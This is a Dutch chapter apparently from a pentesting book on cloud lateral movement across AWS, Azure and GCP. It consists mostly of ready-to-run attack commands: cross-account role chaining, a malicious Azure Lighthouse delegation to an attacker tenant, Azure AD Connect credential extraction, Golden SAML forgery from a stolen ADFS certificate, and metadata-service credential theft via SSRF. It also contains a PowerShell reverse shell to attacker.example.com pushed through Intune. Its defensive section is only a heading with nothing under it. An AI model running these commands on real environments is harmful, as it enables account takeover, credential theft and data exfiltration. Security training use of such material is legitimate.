Cloud Laterale Beweging

Waarin we leren dat de cloud geen muren heeft, maar des te meer deuren – en de meeste staan op een kier


Laterale beweging in een traditioneel netwerk is bijna romantisch in zijn eenvoud. Je compromitteert een machine, je dumpt credentials, je beweegt naar de volgende machine. SMB, RDP, WMI, PsExec – het zijn oude bekenden, vertrouwde tools in de gereedschapskist van elke pentester. De cloud gooit dat hele model op z’n kop.

In de cloud bewegen we niet van machine naar machine. We bewegen van identiteit naar identiteit, van rol naar rol, van service naar service. Er zijn geen netwerkkabels om over te springen, geen switches om te VLAN-hoppen. Er zijn API’s, tokens, trust relationships en een ondoordringbaar web van IAM-policies die bepalen wie wat mag doen.

En het allermooiste? De meeste organisaties hebben absoluut geen idee welke trust relationships er in hun cloud bestaan. Ze hebben een enterprise architect die een mooi plaatje heeft getekend van hoe het zou moeten werken, en een realiteit die daar zo ver van afstaat dat het bijna kunst is.

IB Tip: Cloud laterale beweging is fundamenteel identity-based. In plaats van psexec \\target gebruik je aws sts assume-role of az login --identity. Het doel is hetzelfde – meer access – maar de methode is compleet anders. Denk in termen van privileges, niet in termen van machines.


9.1 Laterale Beweging in de Cloud

Het Fundamentele Verschil

On-premise laterale beweging:

Machine A → [credentials] → Machine B → [credentials] → Machine C
              (NTLM hash)                 (Kerberos TGT)

Cloud laterale beweging:

Role A → [AssumeRole] → Role B → [API call] → Service C → [managed identity] → Service D
           (STS token)             (IAM policy)              (OAuth token)

Het verschil zit niet alleen in de techniek, maar in de schaal. Een enkele misconfigured IAM role kan toegang geven tot honderden resources. Een trust relationship tussen twee AWS accounts kan een complete organisatie openstellen.

De Cloud Kill Chain voor Laterale Beweging

1. Initial Access          → Compromised credentials, SSRF, exposed service
         |
2. Discovery               → Enumerate IAM roles, services, trust relationships
         |
3. Privilege Assessment     → Welke rechten heb ik? Waar kan ik bij?
         |
4. Trust Identification     → Welke roles kan ik assumen? Welke services vertrouwen mij?
         |
5. Lateral Movement         → AssumeRole, service-to-service, federation abuse
         |
6. Privilege Escalation     → Misconfigurations, policy gaps, service exploitation
         |
7. Objective                → Data access, persistence, further movement

Tooling voor Cloud Enumeratie

# AWS -- enumerate je huidige identiteit en rechten
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query 'Arn' --output text | cut -d'/' -f2)
aws iam list-user-policies --user-name current-user

# Enumerate assumable roles
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.AWS]]' --output json

# Pacu -- AWS exploitation framework
# pip install pacu
pacu
> import_keys --all
> run iam__enum_permissions
> run iam__enum_roles
> run iam__privesc_scan

# Azure -- enumerate je rechten
az account show
az role assignment list --assignee $(az account show --query user.name -o tsv)
az ad app list --all --query '[].{name:displayName, id:appId}'

# GCP -- enumerate je rechten
gcloud config list account
gcloud projects get-iam-policy PROJECT_ID \
  --flatten="bindings[].members" \
  --filter="bindings.members:$(gcloud config get-value account)" \
  --format="table(bindings.role)"

9.2 Cross-Account Pivoting

AWS AssumeRole Chains

AWS AssumeRole is het primaire mechanisme voor cross-account access. Het werkt op basis van trust policies die definiëren wie een role mag assumen.

# Stap 1: Ontdek welke roles je kunt assumen
# Bekijk de trust policies van alle roles
aws iam list-roles --query 'Roles[].{Name:RoleName, Trust:AssumeRolePolicyDocument}' \
  | jq '.[] | select(.Trust.Statement[].Principal.AWS != null)'

# Stap 2: Assume een cross-account role
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/CrossAccountAdmin \
  --role-session-name lateral-movement \
  --duration-seconds 3600

# Stap 3: Gebruik de nieuwe credentials
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

# Stap 4: Bevestig de nieuwe identiteit
aws sts get-caller-identity
# Output: Account 222222222222, Role CrossAccountAdmin

# Stap 5: Vanuit account 2, assume weer een role in account 3
aws sts assume-role \
  --role-arn arn:aws:iam::333333333333:role/SharedServiceRole \
  --role-session-name chain-pivot

AssumeRole chain diagram:

Account 111111111111          Account 222222222222          Account 333333333333
+-------------------+        +-------------------+        +-------------------+
| Compromised User  |------->| CrossAccountAdmin  |------->| SharedServiceRole |
| (sts:AssumeRole)  | trust  | (sts:AssumeRole)  | trust  | (s3:*, ec2:*)     |
+-------------------+        +-------------------+        +-------------------+
                                                                    |
                                                                    v
                                                           S3 buckets, EC2 instances
                                                           in account 333333333333

Zoek naar misconfigured trust policies:

# Zoek roles die ELKE AWS account kunnen assumen
aws iam list-roles --query 'Roles[].{Name:RoleName, Trust:AssumeRolePolicyDocument}' \
  | jq '.[] | select(.Trust.Statement[].Principal.AWS == "*")'

# Zoek roles met te brede trust
aws iam list-roles | jq '.Roles[] |
  select(.AssumeRolePolicyDocument.Statement[] |
    (.Principal.AWS // "" | test("root$")) or
    (.Principal.AWS == "*") or
    (.Condition == null and (.Principal.Service // "" | test("^$")))
  ) | {RoleName, AssumeRolePolicyDocument}'

# Zoek roles die een heel account vertrouwen (niet specifieke roles/users)
aws iam list-roles | jq '.Roles[] |
  select(.AssumeRolePolicyDocument.Statement[] |
    .Principal.AWS // "" | test("arn:aws:iam::[0-9]+:root")
  ) | .RoleName'

IB Tip: Een AssumeRole chain is het cloud-equivalent van credential hopping. Het verschil: elke “hop” is gelogd in CloudTrail met sts:AssumeRole events in zowel het bron- als doelaccount. Maar als het doelaccount geen CloudTrail heeft geconfigureerd, is er een blind spot.

Azure Lighthouse Abuse

Azure Lighthouse geeft service providers gedelegeerde toegang tot klantresources. Het is bedoeld voor managed services, maar het is ook een fantastisch laterale-beweging mechanisme.

# Bekijk welke Lighthouse delegaties er zijn
az managedservices assignment list --query '[].{
  id:id,
  managedBy:properties.registrationDefinitionId
}'

# Bekijk de delegatie-details
az managedservices definition list --query '[].{
  name:properties.registrationDefinitionName,
  managedByTenant:properties.managedByTenantId,
  authorizations:properties.authorizations
}'

# Als je de managing tenant controleert, heb je toegang tot de klant-resources
# Wissel naar de gedelegeerde scope
az account list --query '[?tenantId==`MANAGED_TENANT_ID`]'

# Acties uitvoeren in de klant-subscription
az vm list --subscription CUSTOMER_SUBSCRIPTION_ID
az storage account list --subscription CUSTOMER_SUBSCRIPTION_ID

Creeer een malicious Lighthouse delegatie (als je Owner rechten hebt):

# Registreer een Lighthouse definitie die jouw tenant toegang geeft
az managedservices definition create \
  --name "Monitoring Service" \
  --tenant-id ATTACKER_TENANT_ID \
  --principal-id ATTACKER_PRINCIPAL_ID \
  --role-definition-id "b24988ac-6180-42a0-ab88-20f7382dd24c" \
  --description "Legitimate looking monitoring service"
# role-definition-id b24988ac... = Contributor

# Wijs de delegatie toe aan een resource group
az managedservices assignment create \
  --definition /subscriptions/VICTIM_SUB/providers/Microsoft.ManagedServices/registrationDefinitions/DEF_ID \
  --resource-group target-rg

GCP Cross-Project Impersonation

GCP gebruikt service account impersonation voor cross-project access.

# Bekijk welke service accounts je kunt impersonaten
gcloud iam service-accounts list --project target-project

# Check of je iam.serviceAccountTokenCreator rol hebt
gcloud projects get-iam-policy target-project \
  --flatten="bindings[].members" \
  --filter="bindings.role:roles/iam.serviceAccountTokenCreator" \
  --format="table(bindings.members)"

# Genereer een access token voor een service account in een ander project
gcloud auth print-access-token \
  --impersonate-service-account=target-sa@target-project.iam.gserviceaccount.com

# Gebruik de impersonated identity
gcloud storage ls --impersonate-service-account=target-sa@target-project.iam.gserviceaccount.com

# Of via de API
TOKEN=$(curl -s -X POST \
  "https://iamcredentials.googleapis.com/v1/projects/-/serviceAccounts/target-sa@target-project.iam.gserviceaccount.com:generateAccessToken" \
  -H "Authorization: Bearer $(gcloud auth print-access-token)" \
  -H "Content-Type: application/json" \
  -d '{"scope": ["https://www.googleapis.com/auth/cloud-platform"], "lifetime": "3600s"}' \
  | jq -r '.accessToken')

curl -H "Authorization: Bearer $TOKEN" \
  "https://storage.googleapis.com/storage/v1/b?project=target-project"

9.3 Hybrid Paden

Van On-Premise naar Cloud

Dit is de heilige graal voor aanvallers: een compromittering van het on-premise netwerk die leidt tot cloud-toegang. En er zijn verrassend veel paden.

Azure AD Connect

Azure AD Connect synchroniseert on-premise Active Directory met Azure AD. De server bevat credentials die toegang geven tot beide omgevingen.

# Op de Azure AD Connect server:
# Extract de sync credentials
# Methode 1: AADInternals (PowerShell module)
Install-Module AADInternals
Import-Module AADInternals

# Haal de sync credentials op
Get-AADIntSyncCredentials

# Output:
# Tenant: company.onmicrosoft.com
# UserName: Sync_SERVER_abc12345@company.onmicrosoft.com
# Password: <cleartext password>

# Methode 2: Handmatig via de database
# De credentials staan in de LocalDB
sqlcmd -S "(localdb)\.\ADSync" -d ADSync -Q "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
# Met de sync credentials kun je:
# 1. Wachtwoord-hashes van ALLE gebruikers ophalen uit Azure AD
# 2. Passwords resetten van cloud-only accounts
# 3. Een Global Admin aanmaken

# Azure AD Connect account heeft DCSync-rechten
# Gebruik de credentials voor DCSync vanuit de cloud

IB Tip: Azure AD Connect is het #1 hybrid pivotpunt. De sync-server heeft DCSync-rechten in on-premise AD en elevated rechten in Azure AD. Compromittering van deze ene server geeft je effectief Domain Admin en Global Admin. Behandel deze server als een Tier 0 asset.

ADFS Token Signing

Active Directory Federation Services (ADFS) gebruikt een token-signing certificaat om SAML-tokens te ondertekenen. Wie dat certificaat heeft, kan tokens genereren voor elke gebruiker – de beruchte Golden SAML-aanval.

# Op de ADFS server:
# Export het token-signing certificaat

# Methode 1: Via PowerShell
Get-AdfsCertificate -CertificateType Token-Signing

# Methode 2: Via ADFSDump (van FireEye/Mandiant)
.\ADFSDump.exe /domain:corp.local /server:adfs01.corp.local

# Het certificaat exporteren
$cert = Get-AdfsCertificate -CertificateType Token-Signing
$certBytes = $cert.Certificate.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx, "password")
[System.IO.File]::WriteAllBytes("C:\temp\adfs-signing.pfx", $certBytes)
# Genereer een Golden SAML token met het gestolen certificaat
# Gebruik shimit (https://github.com/cyberark/shimit)
python shimit.py \
  -idp "http://adfs.corp.local/adfs/services/trust" \
  -spn "urn:federation:MicrosoftOnline" \
  -cert adfs-signing.pfx \
  -u "admin@company.com" \
  -n "Global Admin" \
  -r "Global Administrator" \
  -asserts

Azure Arc

Azure Arc breidt Azure-management uit naar on-premise servers. Het installeert een agent die een managed identity krijgt in Azure.

# Op een on-premise server met Azure Arc agent:
# De Arc agent heeft een managed identity
# Haal het token op via het local HIMDS endpoint

curl -s -H "Metadata: true" \
  "http://localhost:40342/metadata/identity/oauth2/token?api-version=2020-06-01&resource=https://management.azure.com/" \
  -H "Authorization: Basic $(cat /var/opt/azcmagent/.himds/tokens/default.key)"

# Dit token geeft toegang tot Azure resources
# Afhankelijk van de role assignments van de Arc managed identity

# Enumerate de rechten
TOKEN="..."
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01" | jq .

Van Cloud naar On-Premise

De omgekeerde weg is minstens zo interessant. Je hebt cloud-toegang en wilt het on-premise netwerk binnenkomen.

Azure AD Joined Devices

# Met Azure AD credentials kun je:
# 1. Primary Refresh Tokens (PRT) verkrijgen voor Azure AD joined devices
# 2. Via Intune commands pushen naar managed devices
# 3. Via Azure AD Connect wachtwoorden synchroniseren

# Methode: Intune command execution
# Als je Intune admin rechten hebt:
az rest --method POST \
  --url "https://graph.microsoft.com/beta/deviceManagement/deviceManagementScripts" \
  --body '{
    "displayName": "Compliance Check",
    "scriptContent": "<base64-encoded-powershell>",
    "runAsAccount": "system",
    "enforceSignatureCheck": false,
    "runAs32Bit": false
  }'

Intune Abuse

# PowerShell script dat via Intune wordt gepusht
# Dit draait als SYSTEM op het doeldevice

# Reverse shell naar C2
$client = New-Object System.Net.Sockets.TCPClient("attacker.example.com", 443)
$stream = $client.GetStream()
$writer = New-Object System.IO.StreamWriter($stream)
$writer.AutoFlush = $true
$reader = New-Object System.IO.StreamReader($stream)

while ($true) {
    $writer.Write("PS> ")
    $cmd = $reader.ReadLine()
    try {
        $output = Invoke-Expression $cmd 2>&1 | Out-String
        $writer.Write($output)
    } catch {
        $writer.Write($_.Exception.Message)
    }
}

IB Tip: Hybrid cloud-paden zijn bijzonder gevaarlijk omdat ze twee beveiligingsdomeinen overbruggen. Security teams die alleen cloud of alleen on-premise monitoren, missen deze cross-domain aanvallen. Een SIEM-correlatie die zowel CloudTrail/Azure Audit als on-premise event logs omvat, is essentieel.


9.4 Service-to-Service Movement

AWS: Lambda naar DynamoDB naar S3

In AWS zijn services aan elkaar gekoppeld via IAM-roles en resource policies. Elke service die je compromitteert, geeft potentieel toegang tot andere services.

# Stap 1: Compromitteer een Lambda functie (via event injection, SSRF, etc.)
# Bekijk de execution role
aws sts get-caller-identity
# Arn: arn:aws:sts::111111111111:assumed-role/LambdaProcessorRole/function-name

# Stap 2: Enumerate de rechten van deze role
# Welke policies zijn attached?
aws iam list-attached-role-policies --role-name LambdaProcessorRole
aws iam list-role-policies --role-name LambdaProcessorRole

# Stap 3: Ontdek DynamoDB tabellen
aws dynamodb list-tables
aws dynamodb describe-table --table-name UserData
aws dynamodb scan --table-name UserData --max-items 10

# Stap 4: Ontdek S3 buckets via DynamoDB data
aws dynamodb scan --table-name ConfigData \
  --filter-expression "contains(config_value, :s3)" \
  --expression-attribute-values '{":s3": {"S": "s3://"}}'

# Stap 5: Pivot naar S3
aws s3 ls s3://internal-data-bucket/
aws s3 cp s3://internal-data-bucket/secrets/api-keys.json ./

Service chain diagram:

Lambda (compromised)
    |
    | execution role: LambdaProcessorRole
    |
    +--→ DynamoDB (UserData, ConfigData)
    |       |
    |       | config bevat S3 bucket referenties
    |       | en database connection strings
    |       |
    +--→ S3 (internal-data-bucket)
    |       |
    |       | bucket bevat API keys, certificates
    |       |
    +--→ Secrets Manager
    |       |
    |       | secrets bevatten RDS credentials
    |       |
    +--→ RDS (PostgreSQL)
            |
            | database bevat customer data

Azure: Function naar Key Vault naar SQL

# Stap 1: Compromitteer een Azure Function met Managed Identity
# Haal tokens op voor verschillende services

# Key Vault token
KV_TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net/" \
  | jq -r '.access_token')

# Stap 2: Lees Key Vault secrets
curl -s -H "Authorization: Bearer $KV_TOKEN" \
  "https://company-keyvault.vault.azure.net/secrets?api-version=7.4" | jq '.value[].id'

# Haal een specifiek secret op (bijv. database connection string)
curl -s -H "Authorization: Bearer $KV_TOKEN" \
  "https://company-keyvault.vault.azure.net/secrets/SqlConnectionString?api-version=7.4" \
  | jq -r '.value'

# Stap 3: Gebruik de connection string om naar SQL te pivoten
# Connection string: Server=company-sql.database.windows.net;Database=production;...

# SQL token ophalen
SQL_TOKEN=$(curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://database.windows.net/" \
  | jq -r '.access_token')

# Query uitvoeren via de REST API
curl -s -X POST \
  "https://company-sql.database.windows.net/production/query" \
  -H "Authorization: Bearer $SQL_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"query": "SELECT TOP 10 * FROM Users"}'

Service Mesh Exploitation

In Kubernetes-omgevingen met een service mesh (Istio, Linkerd) is laterale beweging vaak triviaal zodra je in het mesh zit.

# Vanuit een gecompromitteerde pod in het mesh:

# Ontdek andere services
kubectl get services --all-namespaces

# Het mesh vertrouwt verkeer binnen het mesh (mTLS)
# Je kunt direct andere services aanroepen
curl http://payment-service.production.svc.cluster.local:8080/api/transactions

# Istio sidecar proxy informatie
curl localhost:15000/clusters  # Upstream clusters
curl localhost:15000/config_dump  # Volledige Envoy configuratie
curl localhost:15000/certs  # mTLS certificaten

# Als je de sidecar kunt bypassen:
# Direct naar de applicatie-poort (zonder mTLS)
curl http://10.0.0.15:8080/api/admin  # Pod IP, geen service DNS

9.5 Identity Federation Abuse

SAML Token Forgery

SAML (Security Assertion Markup Language) wordt gebruikt voor SSO tussen identity providers en service providers. Als je het signing-certificaat van de IdP hebt, kun je tokens forgen voor elke gebruiker.

# Golden SAML aanval -- vereist het ADFS token-signing certificaat

# Stap 1: Verkrijg het certificaat (zie sectie 9.3)

# Stap 2: Genereer een SAML assertion
# Gebruik shimit of vergelijkbare tools
python3 shimit.py \
  -idp "http://adfs.corp.local/adfs/services/trust" \
  -spn "urn:federation:MicrosoftOnline" \
  -cert stolen-adfs-signing.pfx \
  -u "globaladmin@company.com" \
  -n "Global Admin" \
  -id "RANDOM-ASSERTION-ID" \
  -o golden_saml.b64

# Stap 3: Gebruik de SAML assertion om een access token te krijgen
# Via de SAML-P endpoint van Azure AD
curl -X POST "https://login.microsoftonline.com/TENANT_ID/saml2" \
  -d "SAMLResponse=$(cat golden_saml.b64)"

OIDC Token Manipulation

OpenID Connect wordt steeds vaker gebruikt voor workload identity federation. De trust is gebaseerd op de issuer URL en audience claim.

# GCP Workload Identity Federation
# Als je een OIDC token kunt genereren van een vertrouwde issuer:

# Stap 1: Ontdek de federation configuratie
gcloud iam workload-identity-pools list --location=global
gcloud iam workload-identity-pools providers list \
  --workload-identity-pool=my-pool \
  --location=global

# Stap 2: Bekijk de provider configuratie
gcloud iam workload-identity-pools providers describe github-provider \
  --workload-identity-pool=my-pool \
  --location=global

# Output toont:
# - Issuer URI (bijv. https://token.actions.githubusercontent.com)
# - Attribute mapping
# - Attribute conditions

# Stap 3: Als je een GitHub Actions workflow kunt triggeren in een
# vertrouwde repository, krijg je een OIDC token dat GCP accepteert

AWS OIDC Federation:

# Bekijk OIDC providers in het account
aws iam list-open-id-connect-providers

# Bekijk de details van een provider
aws iam get-open-id-connect-provider \
  --open-id-connect-provider-arn arn:aws:iam::111111111111:oidc-provider/token.actions.githubusercontent.com

# Output:
# - ThumbprintList (certificaat verificatie)
# - ClientIDList (audience)
# - Url (issuer)

# Zoek roles die deze OIDC provider vertrouwen
aws iam list-roles | jq '.Roles[] |
  select(.AssumeRolePolicyDocument.Statement[] |
    .Principal.Federated // "" |
    contains("oidc-provider")
  ) | {RoleName, AssumeRolePolicyDocument}'

External Identity Provider Abuse

# Azure AD External Identity Providers
# Bekijk geconfigureerde external IdPs
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/identityProviders"

# Bekijk SAML/WS-Fed identity providers
az rest --method GET \
  --url "https://graph.microsoft.com/beta/domains" \
  --query "value[?authenticationType=='Federated']"

# Als je de externe IdP controleert of kunt compromitteren:
# - Genereer tokens voor willekeurige gebruikers
# - Bypass MFA (de IdP handelt de authenticatie af)
# - Creeer shadow accounts

IB Tip: Federation trust is transitief – als A vertrouwt B en B vertrouwt C, dan kan een compromittering van C leiden tot toegang tot A. Audit al je federation relationships regelmatig en verwijder verouderde trusts. Een vergeten SAML-trust met een voormalige partner is een open deur die niemand bewaakt.


9.6 Metadata Service Pivoting

Van SSRF naar Cloud Credentials

De Instance Metadata Service (IMDS) is beschikbaar op 169.254.169.254 (AWS, Azure, GCP) en geeft credentials aan de workload die erop draait. Een SSRF-kwetsbaarheid in een cloud-applicatie is effectief credential theft.

# AWS IMDSv1 (geen authenticatie vereist)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Geeft de role name terug
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-Role-Name
# Geeft temporary credentials terug

# AWS IMDSv2 (vereist een token -- maar de SSRF kan dat ook ophalen)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# Azure IMDS
curl -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# GCP Metadata
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

Chaining Metadata Across Services

De echte kracht zit in het chainen van metadata credentials. Je gebruikt de credentials van service A om bij service B te komen, waar je weer nieuwe credentials vindt.

# Scenario: SSRF in een web app op EC2

# Stap 1: SSRF naar IMDS -- verkrijg EC2 role credentials
# Via de SSRF kwetsbaarheid:
# GET /proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole

# Stap 2: Gebruik EC2 credentials om Secrets Manager te lezen
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id production/database

# Stap 3: De database credentials geven toegang tot RDS
# Connection string bevat: host, port, username, password

# Stap 4: In de database vind je referenties naar andere AWS services
psql "host=prod-db.cluster-abc.eu-west-1.rds.amazonaws.com user=admin password=..." \
  -c "SELECT * FROM config WHERE key LIKE '%aws%' OR key LIKE '%bucket%'"

# Stap 5: Die referenties bevatten een IAM user met long-lived credentials
# Nu heb je permanente toegang (geen temporary credentials meer)
SSRF → IMDS → EC2 Role → Secrets Manager → RDS → IAM User credentials
  |                                                        |
  v                                                        v
Temporary access                                    Permanent access
(uur geldig)                                        (tot key rotation)

ECS en EKS Metadata

Containers in ECS en EKS hebben hun eigen metadata-endpoints.

# ECS Task metadata
# Endpoint: http://169.254.170.2/v2/credentials/<GUID>
# De GUID staat in de AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var

curl "http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}"

# EKS Pod metadata
# Via de projected service account token
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# Via de IMDS (als de pod er toegang toe heeft)
# IMDSv2 met hop limit -- pods moeten een extra hop maken
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Dit failt als de hop limit op 1 staat (best practice)

# IRSA (IAM Roles for Service Accounts)
# Token wordt gemount als file
cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token
# Dit is een OIDC token dat je kunt gebruiken met AssumeRoleWithWebIdentity

9.7 Multi-Cloud Laterale Beweging

AWS naar Azure via Shared Credentials

De meest voorkomende multi-cloud beweging: dezelfde credentials worden in beide clouds gebruikt.

# Stap 1: Vind Azure credentials in AWS
# In Secrets Manager
aws secretsmanager list-secrets --query 'SecretList[?Name contains `azure`]'
aws secretsmanager get-secret-value --secret-id azure-service-principal

# In SSM Parameter Store
aws ssm get-parameters-by-path --path /azure/ --recursive --with-decryption

# In S3 configuratie-bestanden
aws s3 ls s3://config-bucket/ --recursive | grep -i azure
aws s3 cp s3://config-bucket/terraform/azure.tfvars ./

# In Lambda environment variables
aws lambda list-functions --query 'Functions[].FunctionName' --output text | \
  while read fn; do
    vars=$(aws lambda get-function-configuration --function-name "$fn" \
      --query 'Environment.Variables' 2>/dev/null)
    if echo "$vars" | grep -qi "azure\|tenant\|client_id"; then
      echo "=== $fn ==="
      echo "$vars"
    fi
  done

# Stap 2: Gebruik de gevonden Azure SP credentials
az login --service-principal \
  -u "APPLICATION_ID" \
  -p "CLIENT_SECRET" \
  --tenant "TENANT_ID"

# Stap 3: Enumerate Azure resources
az resource list --query '[].{name:name, type:type, rg:resourceGroup}' -o table

GCP naar AWS via Workload Identity Federation

# GCP Workload Identity Federation kan AWS roles assumen
# als er een trust relationship is geconfigureerd

# Stap 1: Vanuit een gecompromitteerde GCP service account
# Genereer een ID token
gcloud auth print-identity-token \
  --impersonate-service-account=compromised-sa@project.iam.gserviceaccount.com \
  --audiences="sts.amazonaws.com"

# Stap 2: Gebruik het GCP ID token om een AWS role te assumen
aws sts assume-role-with-web-identity \
  --role-arn arn:aws:iam::111111111111:role/GCPFederatedRole \
  --role-session-name gcp-pivot \
  --web-identity-token "$(gcloud auth print-identity-token ...)"

# Stap 3: Nu heb je AWS credentials vanuit GCP
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
aws sts get-caller-identity

Multi-Cloud Discovery Script

#!/bin/bash
# multi-cloud-discover.sh -- ontdek cross-cloud referenties

echo "=== AWS: Zoek Azure/GCP referenties ==="
# Secrets Manager
aws secretsmanager list-secrets 2>/dev/null | \
  jq -r '.SecretList[].Name' | grep -iE 'azure|gcp|google|tenant|client.id'

# SSM Parameters
aws ssm describe-parameters 2>/dev/null | \
  jq -r '.Parameters[].Name' | grep -iE 'azure|gcp|google|tenant|client.id'

# Environment variables in Lambda
for fn in $(aws lambda list-functions --query 'Functions[].FunctionName' --output text 2>/dev/null); do
  aws lambda get-function-configuration --function-name "$fn" \
    --query 'Environment.Variables' 2>/dev/null | \
    grep -qiE 'azure|gcp|google|tenant' && echo "Lambda: $fn has cross-cloud refs"
done

echo ""
echo "=== Azure: Zoek AWS/GCP referenties ==="
# Key Vault secrets
for vault in $(az keyvault list --query '[].name' -o tsv 2>/dev/null); do
  az keyvault secret list --vault-name "$vault" --query '[].name' -o tsv 2>/dev/null | \
    grep -iE 'aws|gcp|google|access.key|secret.key'
done

# App Settings
for app in $(az webapp list --query '[].name' -o tsv 2>/dev/null); do
  rg=$(az webapp show --name "$app" --query 'resourceGroup' -o tsv)
  az webapp config appsettings list --name "$app" --resource-group "$rg" 2>/dev/null | \
    jq -r '.[].name' | grep -iE 'aws|gcp|google|access.key'
done

echo ""
echo "=== GCP: Zoek AWS/Azure referenties ==="
# Secret Manager
for secret in $(gcloud secrets list --format='value(name)' 2>/dev/null); do
  echo "$secret" | grep -iE 'aws|azure|tenant|access.key' && \
    echo "  ^ GCP Secret: $secret"
done

9.8 Network-Based Movement

VPC Peering

VPC peering creert een directe netwerkverbinding tussen twee VPC’s. Het verkeer gaat over het backbone-netwerk van de provider – maar het is wel routeerbaar.

# Ontdek VPC peering connections
aws ec2 describe-vpc-peering-connections \
  --query 'VpcPeeringConnections[].{
    Id:VpcPeeringConnectionId,
    Status:Status.Code,
    Requester:RequesterVpcInfo.{VpcId:VpcId,CidrBlock:CidrBlock,OwnerId:OwnerId},
    Accepter:AccepterVpcInfo.{VpcId:VpcId,CidrBlock:CidrBlock,OwnerId:OwnerId}
  }'

# Bekijk de route tables -- welke CIDR blocks zijn bereikbaar via peering?
aws ec2 describe-route-tables \
  --query 'RouteTables[].Routes[?VpcPeeringConnectionId!=`null`].{
    Destination:DestinationCidrBlock,
    PeeringConnection:VpcPeeringConnectionId,
    Status:State
  }'

# Scan het peer-netwerk vanuit een EC2 instance
# (als security groups het toestaan)
nmap -sn 10.1.0.0/16  # CIDR van de gepeerede VPC

VPN Gateway Exploitation

# Azure VPN Gateways
az network vnet-gateway list \
  --query '[].{name:name, rg:resourceGroup, type:vpnType, connections:vpnClientConfiguration}'

# Bekijk VPN connections
az network vpn-connection list \
  --query '[].{name:name, type:connectionType, sharedKey:sharedKey}'
# Ja, soms kun je de shared key gewoon opvragen

# AWS Site-to-Site VPN
aws ec2 describe-vpn-connections \
  --query 'VpnConnections[].{
    Id:VpnConnectionId,
    State:State,
    CustomerGateway:CustomerGatewayId,
    VpnGateway:VpnGatewayId
  }'

# Download de VPN configuratie (bevat pre-shared keys)
aws ec2 describe-vpn-connections \
  --vpn-connection-ids vpn-abc123 \
  --query 'VpnConnections[0].CustomerGatewayConfiguration'

Transit Gateway

AWS Transit Gateway verbindt meerdere VPC’s en on-premise netwerken als een hub.

# Ontdek Transit Gateways
aws ec2 describe-transit-gateways \
  --query 'TransitGateways[].{Id:TransitGatewayId, State:State, OwnerId:OwnerId}'

# Bekijk welke VPC's en VPN's verbonden zijn
aws ec2 describe-transit-gateway-attachments \
  --query 'TransitGatewayAttachments[].{
    Id:TransitGatewayAttachmentId,
    Type:ResourceType,
    ResourceId:ResourceId,
    State:State
  }'

# Bekijk de route tables
aws ec2 describe-transit-gateway-route-tables \
  --query 'TransitGatewayRouteTables[].TransitGatewayRouteTableId' --output text | \
  while read rt; do
    echo "=== Route Table: $rt ==="
    aws ec2 search-transit-gateway-routes \
      --transit-gateway-route-table-id "$rt" \
      --filters "Name=state,Values=active" \
      --query 'Routes[].{Destination:DestinationCidrBlock,Type:Type,Attachment:TransitGatewayAttachments[0].TransitGatewayAttachmentId}'
  done

AWS PrivateLink en Azure Private Endpoint maken services bereikbaar via private IP-adressen. Maar de trust is vaak te ruim geconfigureerd.

# Ontdek VPC Endpoints (PrivateLink)
aws ec2 describe-vpc-endpoints \
  --query 'VpcEndpoints[].{
    Id:VpcEndpointId,
    Service:ServiceName,
    Type:VpcEndpointType,
    State:State,
    PrivateDns:PrivateDnsEnabled
  }'

# Ontdek endpoint services (services die via PrivateLink worden aangeboden)
aws ec2 describe-vpc-endpoint-services \
  --query 'ServiceDetails[?Owner!=`amazon`].{
    Service:ServiceName,
    Owner:Owner,
    Type:ServiceType
  }'

# Azure Private Endpoints
az network private-endpoint list \
  --query '[].{name:name, rg:resourceGroup, subnet:subnet.id, connections:privateLinkServiceConnections[].{service:privateLinkServiceId, status:privateLinkServiceConnectionState.status}}'

# Als je in een VPC zit met een PrivateLink naar een andere account's service:
# Je kunt die service bereiken via het private IP
# Zonder dat het verkeer het publieke internet raakt

IB Tip: Netwerk-gebaseerde laterale beweging in de cloud wordt vaak over het hoofd gezien omdat “alles API-based is.” Maar VPC peering, Transit Gateways, en PrivateLink creeren echte netwerkpaden die traditionele network-based attacks mogelijk maken. Een security group die 0.0.0.0/0 toestaat op een gepeerede VPC is net zo erg als een open firewall-regel.


Verdedigingsmaatregelen

